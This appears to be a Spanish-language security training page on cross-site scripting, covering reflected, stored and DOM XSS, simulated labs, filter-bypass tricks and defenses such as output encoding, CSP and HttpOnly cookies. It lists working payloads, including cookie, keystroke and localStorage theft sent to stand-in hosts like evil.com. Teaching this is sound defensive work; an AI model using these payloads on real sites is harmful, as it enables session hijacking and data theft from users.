Ghost Academy SecLearn // MATERIAL EDUCATIVO
⚠ OWASP TOP 10 — A03:2021 INJECTION
Cross-Site Scripting
XSS
"El navegador de la víctima ejecuta código del atacante
porque el servidor no distingue datos de código."
Reflected XSS Stored XSS DOM-Based XSS Cookie Theft CSRF via XSS WAF Bypass Content Security Policy
#01 ¿Qué es Cross-Site Scripting (XSS)?
📖DEFINICIÓN

Cross-Site Scripting (XSS) es una vulnerabilidad de seguridad web que permite a un atacante inyectar código JavaScript malicioso en páginas web que serán vistas por otros usuarios.

Ocurre cuando una aplicación incluye datos no confiables en una página web sin la validación o codificación adecuada. El navegador de la víctima ejecuta el script porque no puede distinguir entre el código legítimo del sitio y el código inyectado por el atacante.

XSS es consistentemente uno de los OWASP Top 10 más explotados, presente en millones de aplicaciones web y con impacto que va desde molestias menores hasta robo de sesiones, defacement y control total del cliente.

💀¿QUÉ PUEDE HACER UN ATACANTE?
  • Robar cookies de sesión — acceder a la cuenta de la víctima sin contraseña
  • Keylogging — capturar todo lo que teclea el usuario (contraseñas, datos de tarjeta)
  • Defacement — modificar el contenido visible de la página
  • Phishing en contexto — mostrar formularios falsos en el dominio legítimo
  • Redirecciones maliciosas — enviar a la víctima a otro sitio
  • Ataques CSRF via XSS — ejecutar acciones en nombre del usuario
  • Minería de criptomonedas — usar la CPU del navegador de la víctima
  • Network scanning — escanear la red interna desde el navegador
  • Exfiltración de datos del DOM — leer cualquier dato de la página
🔄EL PROBLEMA FUNDAMENTAL — DATOS VS CÓDIGO
👤 USUARIO introduce datos POST datos SERVIDOR ✓ SEGURO escapa HTML valida input &lt;script&gt; BROWSER ✓ VE TEXTO renderiza como texto ✅ APLICACIÓN SEGURA 😈 ATACANTE <script>evil</script> SERVIDOR ✗ VULNERABLE NO escapa 🖥️ VÍCTIMA EJECUTA el script ❌ APLICACIÓN VULNERABLE
Concepto clave: El problema no es que el usuario pueda escribir <script> — el problema es que el servidor lo incluye en el HTML sin escaparlo, haciendo que el navegador lo interprete como código ejecutable en lugar de texto.
#02 Los Tres Tipos de XSS
↩️REFLECTED XSSTIPO 1

El payload viene en la petición HTTP y el servidor lo refleja en la respuesta. No se almacena; el atacante necesita que la víctima haga clic en un enlace malicioso.

Típico en: resultados de búsqueda, mensajes de error, parámetros GET.

URL MALICIOSA
https://tienda.com/search?q=<script>alert(document.cookie)</script>
Riesgo: Alto. El atacante necesita distribuir el enlace por phishing, email o redes sociales.
💾STORED XSSTIPO 2

El payload se almacena en la base de datos del servidor y se sirve a todos los usuarios que visiten la página afectada. Es la variante más peligrosa.

Típico en: comentarios, foros, mensajes, perfiles de usuario, campos de texto persistentes.

COMENTARIO INYECTADO
¡Gran artículo! <script>fetch('https://evil.com/steal?c='+document.cookie)</script>
Riesgo: Crítico. Ataca a TODOS los usuarios sin que tengan que hacer clic en ningún enlace.
🌐DOM-BASED XSSTIPO 3

El payload no pasa por el servidor. JavaScript del lado cliente lee datos de fuentes no confiables (URL hash, localStorage) y los escribe en el DOM de forma insegura.

Típico en: SPA frameworks, uso de innerHTML, document.write(), eval().

JS VULNERABLE
// JS en la página lee el hash SIN sanitizar document.getElementById('msg').innerHTML = location.hash.slice(1);
Riesgo: Alto. Invisible para los WAFs que solo analizan tráfico de red.
📊TABLA COMPARATIVA DE TIPOS
CaracterísticaReflectedStoredDOM-Based
¿Se almacena en servidor?NoSíNo
Pasa por el servidorSíSí (se guarda)No (solo cliente)
¿Requiere que víctima haga clic?SíNoSí (URL maliciosa)
Usuarios afectadosUno a la vezTodos los visitantesUno a la vez
Detección por WAFModeradaModeradaDifícil (solo cliente)
Nivel de peligroALTOCRÍTICOALTO
Ejemplo típicoBúsqueda, error 404Comentarios, forosSPA, hash routing
#03 Cómo Funciona: Flujo Completo de Ataque
🎯FLUJO — STORED XSS + ROBO DE SESIÓN
1
Atacante — Reconocimiento
Identifica un campo que almacena y muestra datos a otros usuarios sin sanitizar
Target: sección de comentarios en blog.empresa.com Campo vulnerable: nombre de usuario, mensaje, valoración
▼
2
Atacante — Preparación del payload
Crea el script malicioso: roba la cookie y la exfiltra a su servidor
<script> var img = new Image(); img.src = 'https://evil.attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); </script>
▼
3
Atacante — Inyección
Publica un comentario con el payload; el servidor lo almacena en la BD sin escapar
POST /comentarios HTTP/1.1 Body: nombre=Hacker&comentario=Gran+post!+<script>...evil...</script> → Servidor guarda el HTML malicioso en la base de datos
▼
4
Víctima — Visita la página
Cualquier usuario que visite el artículo recibe el HTML con el payload incluido
GET /articulo/123 HTTP/1.1 ← Respuesta incluye: <div>Gran post! <script>...evil...</script></div>
▼
5
Víctima — El navegador ejecuta el script
El browser ve el <script> en el HTML y lo ejecuta como código de la página
document.cookie = "session=abc123xyz; userId=42; role=admin" → El script crea una imagen: GET https://evil.attacker.com/steal?cookie=session%3Dabc123xyz...
▼
6
Atacante — Sesión comprometida
Recibe la cookie en su servidor, la usa para suplantar a la víctima sin necesitar contraseña
evil.attacker.com recibe: GET /steal?cookie=session=abc123xyz&userId=42&role=admin → Atacante usa: Cookie: session=abc123xyz → acceso total a la cuenta de la víctima
🔍SOURCES Y SINKS — DOM XSS

En DOM XSS, el flujo va de una source (origen de datos no confiables) a un sink (punto donde se ejecuta código).

Sources (orígenes)Sinks (destinos peligrosos)
location.hrefinnerHTML
location.hashdocument.write()
location.searcheval()
document.referrersetTimeout(str)
window.namesetInterval(str)
localStorageelement.src
sessionStorageelement.href
cookieelement.outerHTML
⚙️CONTEXTOS DE INYECCIÓN

El contexto donde se inyecta el payload determina qué técnica usar:

CONTEXTOS HTML
<!-- Contexto HTML directo --> <div>PAYLOAD</div> → usar <script> o <img onerror=> <!-- Contexto de atributo HTML --> <input value="PAYLOAD"> → romper con " y > <!-- Contexto JavaScript --> <script>var x = "PAYLOAD";</script> → usar ";evil;// <!-- Contexto URL --> <a href="PAYLOAD"> → usar javascript:alert(1) <!-- Contexto CSS --> <style>body{background:PAYLOAD}</style> → usar expression()
#04 Payloads XSS — Del Básico al Avanzado
🧪 Propósito educativo: Los payloads mostrados aquí son para entender cómo funcionan y cómo detectarlos. Se usan en entornos de laboratorio controlados como Juice Shop, DVWA, HackTheBox y CTFs.
🔰PAYLOADS BÁSICOS — PRUEBA DE CONCEPTO
BASIC XSS PAYLOADS
// El clásico: prueba de concepto <script>alert(1)</script> // Con mensaje personalizado <script>alert('XSS')</script> // Via evento HTML (evita <script>) <img src=x onerror="alert(1)"> <img src=x onerror=alert(1)> // SVG <svg onload=alert(1)> <svg><script>alert(1)</script></svg> // Body event <body onload=alert(1)> // Details/summary HTML5 <details open ontoggle=alert(1)>
💣PAYLOADS MALICIOSOS — ROBO DE DATOS
DATA EXFILTRATION
// Robo de cookies de sesión <script> new Image().src='https://evil.com/?c='+btoa(document.cookie); </script> // Keylogger básico <script> document.onkeypress=function(e){ fetch('https://evil.com/?k='+e.key); } </script> // Robar todo el localStorage <script> fetch('https://evil.com/?d='+ btoa(JSON.stringify(localStorage))); </script> // Redirigir a página de phishing <script>location.href='https://evil.com/login'</script>
🎭PAYLOADS POR CONTEXTO DE INYECCIÓN
ContextoHTML VulnerablePayload efectivo
HTML directo<div>DATO</div><script>alert(1)</script>
Atributo HTML<input value="DATO">"><script>alert(1)</script>
Atributo de evento<img src="DATO">x" onerror="alert(1)
Contexto JavaScriptvar x = "DATO";";alert(1);//
URL de href<a href="DATO">javascript:alert(1)
innerHTMLel.innerHTML = DATO<img src=x onerror=alert(1)>
document.write()document.write(DATO)<script>alert(1)</script>
#05 Caso Práctico: Blog Corporativo Vulnerable
📋 Escenario: Eres un pentester contratado por TechCorp S.L. para auditar su blog corporativo. Durante el reconocimiento detectas que los comentarios no están correctamente sanitizados. El administrador del blog tiene una sesión activa con permisos de edición.
🎯OBJETIVO DEL EJERCICIO
  • Identificar el punto de inyección (campo de comentarios)
  • Confirmar la vulnerabilidad XSS con payload básico
  • Escalar: demostrar robo de cookie de sesión
  • Documentar el hallazgo para el informe
  • Proponer mitigaciones concretas
Entorno: Todo el laboratorio funciona 100% en el navegador. Ningún dato real sale del dispositivo.
📝INFORMACIÓN DEL SISTEMA OBJETIVO
DatoValor
AplicaciónTechCorp Blog v2.1
URLtechcorp.local/blog
BackendPHP 7.4 + MySQL
Sin sanitizarCampo comentario
Cookie sesión adminPHPSESSID=a1b2c3d4e5f6
Hallazgo CVSS8.8 HIGH
🌐APLICACIÓN SIMULADA — BLOG DE TECHCORP
Esta es una simulación del blog vulnerable. Prueba los payloads de los módulos siguientes directamente aquí.
🔒 techcorp.local/blog/articulo/42?q=
🚀 TechCorp Blog — Innovando el Futuro

Publicado el 15 de enero de 2025 por Admin

Bienvenidos a nuestro blog corporativo donde compartimos nuestras últimas novedades tecnológicas...

🔍 Búsqueda en el blog
💬 Comentarios
A
Ana García hace 2h
Muy interesante el artículo, seguimos esperando más contenido.
B
Bob Smith hace 1h
Excelente trabajo del equipo. ¡Enhorabuena!
Añade tu comentario:
⚠ Observa: El campo de búsqueda (Reflected XSS) refleja el input directamente en el HTML. El campo de comentarios (Stored XSS) guarda el HTML sin escapar y lo renderiza para todos los usuarios. Los labs siguientes explican cómo explotar y defender cada tipo.
#06 Lab: Reflected XSS
⚡ LABORATORIO REFLECTED XSS VULNERABLE
Simula cómo un servidor vulnerable refleja el input del usuario directamente en el HTML sin escapar. Observa cómo el payload se convierte en código ejecutable.
// Resultado aparecerá aquí
🔗 GENERADOR DE URL MALICIOSA PHISHING
Así es como un atacante distribuye un Reflected XSS: construye una URL con el payload codificado y la envía a la víctima por email o redes sociales.
// URL maliciosa generada
#07 Lab: Stored XSS
💾 LABORATORIO STORED XSS VULNERABLE
Simula un sistema de comentarios que guarda y renderiza HTML sin sanitizar. Cada comentario publicado es visible para todos los visitantes de la página.
techcorp.local/blog/articulo/42
💬 Comentarios (renderizado vulnerable):
HTML guardado en BD:
// HTML almacenado
#08 Lab: DOM-Based XSS
🌐 LAB DOM XSS — innerHTML VULNERABLE
El JavaScript de la página lee el hash de la URL y lo escribe en el DOM con innerHTML sin sanitizar — el servidor nunca ve el payload.
JS VULNERABLE EN LA PÁGINA
// ❌ VULNERABLE — lee hash y lo escribe con innerHTML var msg = location.hash.slice(1); // sin decodificar ni sanitizar document.getElementById('welcome').innerHTML = msg;
Output del DOM:
Vacío
// Explicación
🔬 ANALIZADOR DE CÓDIGO DOM XSS DETECTOR
Pega código JavaScript y detecta patrones de sources y sinks peligrosos que podrían dar lugar a DOM XSS.
// Análisis aparecerá aquí
#09 Técnicas de Bypass de Filtros y WAF
⚡ Objetivo del módulo: Entender cómo los atacantes evaden filtros básicos, para implementar defensas robustas. Conocer el bypass es esencial para diseñar filtros que no puedan ser eludidos fácilmente.
🚫FILTROS FÁCILES DE BYPASSEAR
BYPASS TÉCNICAS
// Filtro bloquea: "script" (case sensitive) <SCRIPT>alert(1)</SCRIPT> // mayúsculas <ScRiPt>alert(1)</sCrIpT> // mixto // Filtro bloquea: "alert" — usar alternativas <script>confirm(1)</script> <script>prompt(1)</script> <script>console.log(1)</script> // Filtro elimina <script> — usar eventos <img src=1 onerror=alert(1)> <video src=1 onerror=alert(1)> <audio src=1 onerror=alert(1)> <input autofocus onfocus=alert(1)> // URL Encoding %3Cscript%3Ealert(1)%3C/script%3E // HTML Entities &lt;script&gt;alert(1)&lt;/script&gt; // Double encoding %253Cscript%253Ealert(1)
🧬TÉCNICAS AVANZADAS DE EVASIÓN
ADVANCED BYPASS
// Romper palabras con comentarios HTML <scr<!--x-->ipt>alert(1)</scr<!--x-->ipt> // Null bytes (en algunos parsers) <script>alert(1)</script> // Sin paréntesis (template literals) <script>alert`1`</script> // Sin comillas — javascript: en href <a href=javascript:alert(1)>XSS</a> // Data URI con Base64 <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> // XSS via CSS (IE legacy) <style>body{background-image:url(javascript:alert(1))}</style> // Prototype pollution leading to XSS ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
🛡️ SIMULADOR DE FILTRO WAF INTERACTIVO
Configura un filtro básico y prueba si tu payload lo bypassea. Esto simula cómo los filtros naïve fallan y por qué la whitelist es mejor que la blacklist.
// Resultado del test
#10 Cómo Prevenir XSS — Defensa en Profundidad
✅ Principio fundamental: La única defensa real contra XSS es el Output Encoding — escapar correctamente los datos antes de incluirlos en el HTML, según el contexto donde van a aparecer.
1️⃣OUTPUT ENCODING — LA DEFENSA PRINCIPAL
PHP — ESCAPADO CORRECTO
// ❌ VULNERABLE — incluye input directo echo "Hola, " . $_GET['name']; // ✅ SEGURO — escapa HTML entities echo "Hola, " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); // < → &lt; > → &gt; " → &quot; ' → &#x27; // ✅ En contexto de atributo HTML echo '<input value="'.htmlspecialchars($input, ENT_QUOTES).'">'; // ✅ En contexto JavaScript (JSON encode) echo '<script>var x='.json_encode($input).';</script>';
JAVASCRIPT — DOM SEGURO
// ❌ VULNERABLE element.innerHTML = userInput; document.write(userInput); eval(userInput); // ✅ SEGURO — usa textContent o innerText element.textContent = userInput; // ✅ SEGURO — con DOMPurify (librería) import DOMPurify from 'dompurify'; element.innerHTML = DOMPurify.sanitize(userInput); // ✅ Función de escape manual function escapeHtml(text) { const map = {'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#039;'}; return text.replace(/[&<>"']/g, m => map[m]); }
2️⃣CONTENT SECURITY POLICY (CSP)

CSP es una cabecera HTTP que indica al navegador qué scripts puede ejecutar. Incluso si hay XSS, CSP puede impedir la ejecución del payload.

CSP HEADERS
# Cabecera HTTP básica (bloquea inline scripts) Content-Security-Policy: default-src 'self' # Solo scripts del mismo dominio Content-Security-Policy: script-src 'self' # Con nonce (para scripts inline necesarios) Content-Security-Policy: script-src 'nonce-xyz123' # En PHP header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-".$nonce."'"); # En HTML con nonce <script nonce="xyz123">/* este script SÍ ejecuta */</script> <script>alert(1)</script> /* bloqueado por CSP */ # Modo report-only (para testing sin bloquear) Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
3️⃣CABECERAS DE SEGURIDAD ADICIONALES
CabeceraValor recomendadoQué protege
HttpOnly (cookie)Set-Cookie: session=X; HttpOnly; Secure; SameSite=StrictImpide que JS acceda a la cookie — XSS no puede robarla
X-XSS-Protection1; mode=blockActiva filtro XSS del navegador (obsoleto, usar CSP)
X-Content-Type-OptionsnosniffEvita MIME sniffing que podría ejecutar scripts disfrazados
X-Frame-OptionsDENYPreviene clickjacking que podría potenciar XSS
Referrer-Policystrict-origin-when-cross-originLimita info en Referer, reduce superficie de DOM XSS
Permissions-Policycamera=(), microphone=(), geolocation=()Restringe APIs que el XSS podría activar
✅CHECKLIST COMPLETA DE DEFENSA CONTRA XSS
Output encoding según contexto (HTML, JS, URL, CSS)
htmlspecialchars() en PHP, escapeHtml() en JS, json_encode() para contexto JS. NUNCA insertar datos de usuario sin escapar.
Usar textContent/innerText en vez de innerHTML para datos de usuario
textContent trata todo como texto plano. innerHTML interpreta HTML. Si necesitas HTML, usa DOMPurify para sanitizar primero.
Implementar Content Security Policy (CSP) estricta
script-src 'self' + nonces. Elimina unsafe-inline. Usa report-uri para detectar intentos. CSP es la segunda línea de defensa más importante.
Cookies con flags HttpOnly, Secure y SameSite=Strict
HttpOnly impide que JS lea la cookie → XSS no puede robar sesión. Secure: solo HTTPS. SameSite: mitiga CSRF.
Validación de input en el servidor (whitelist)
Validar formato, longitud y caracteres permitidos. La validación solo es primera línea — NO sustituye el output encoding.
Usar frameworks modernos con auto-escape
React, Vue, Angular escapan por defecto. Evitar usar dangerouslySetInnerHTML (React) o v-html (Vue) con datos de usuario.
Nunca usar eval(), setTimeout(string), document.write()
Estas funciones ejecutan strings como código. Si el string viene de datos de usuario → XSS garantizado.
Auditoría regular: SAST, DAST y pentesting manual
Herramientas: Burp Suite, OWASP ZAP, Semgrep (SAST). Revisar manualmente casos edge. XSS en contextos complejos requiere revisión humana.
0 / 8 medidas comprendidas
🔧 LAB — ENCODER / SANITIZADOR DEFENSA
Practica la función de escape que deberías usar en tus aplicaciones. Introduce cualquier texto (incluyendo payloads XSS) y observa cómo queda tras el encoding correcto.
// Resultado del encoding
#11 Quiz de Conocimiento — XSS
📝 Instrucciones: 12 preguntas para evaluar tu comprensión completa de XSS. Una sola respuesta correcta por pregunta.